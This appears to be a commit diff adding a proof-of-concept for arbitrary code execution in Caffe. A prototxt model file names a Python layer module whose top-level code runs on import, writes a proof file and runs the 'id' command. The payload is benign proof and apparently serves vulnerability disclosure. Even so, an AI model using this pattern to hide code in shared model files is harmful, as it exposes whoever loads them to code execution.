Add working PoC: evil_layer.py (import-triggered RCE) + poc_rce.prototxt

evil_layer.py

@@ -0,0 +1,32 @@
+"""
+PoC: Caffe PythonLayer Arbitrary Code Execution
+Executes on import via bp::import() — before Layer instantiation.
+"""
+import os
+import sys
+import subprocess
+
+# ===== RCE happens HERE on import =====
+proof_file = "/tmp/caffe_rce_proof.txt"
+with open(proof_file, "w") as f:
+    f.write("Caffe PythonLayer RCE triggered via bp::import!\n")
+    f.write(f"PID: {os.getpid()}\n")
+    f.write(f"UID: {os.getuid()}\n")
+    f.write(f"CWD: {os.getcwd()}\n")
+
+os.system("id > /tmp/caffe_rce_id_output")
+print(f"[PoC] RCE verified — proof written to {proof_file}")
+# ===== RCE done before Caffe gets to instantiate the layer =====
+
+import caffe
+
+class ExploitLayer(caffe.Layer):
+    """Dummy layer to satisfy Caffe after import."""
+    def setup(self, bottom, top):
+        top[0].reshape(1)
+    def reshape(self, bottom, top):
+        top[0].reshape(1)
+    def forward(self, bottom, top):
+        top[0].data[...] = 0
+    def backward(self, top, propagate_down, bottom):
+        pass

poc_rce.prototxt

@@ -0,0 +1,22 @@
+name: "CaffePythonLayerRCE_PoC"
+
+layer {
+  name: "data"
+  type: "DummyData"
+  top: "data"
+  dummy_data_param {
+    shape { dim: 1 dim: 1 dim: 1 dim: 1 }
+  }
+}
+
+layer {
+  name: "exploit"
+  type: "Python"
+  bottom: "data"
+  top: "output"
+  python_param {
+    # bp::import("evil_layer") — top-level code in evil_layer.py runs immediately
+    module: "evil_layer"
+    layer: "ExploitLayer"
+  }
+}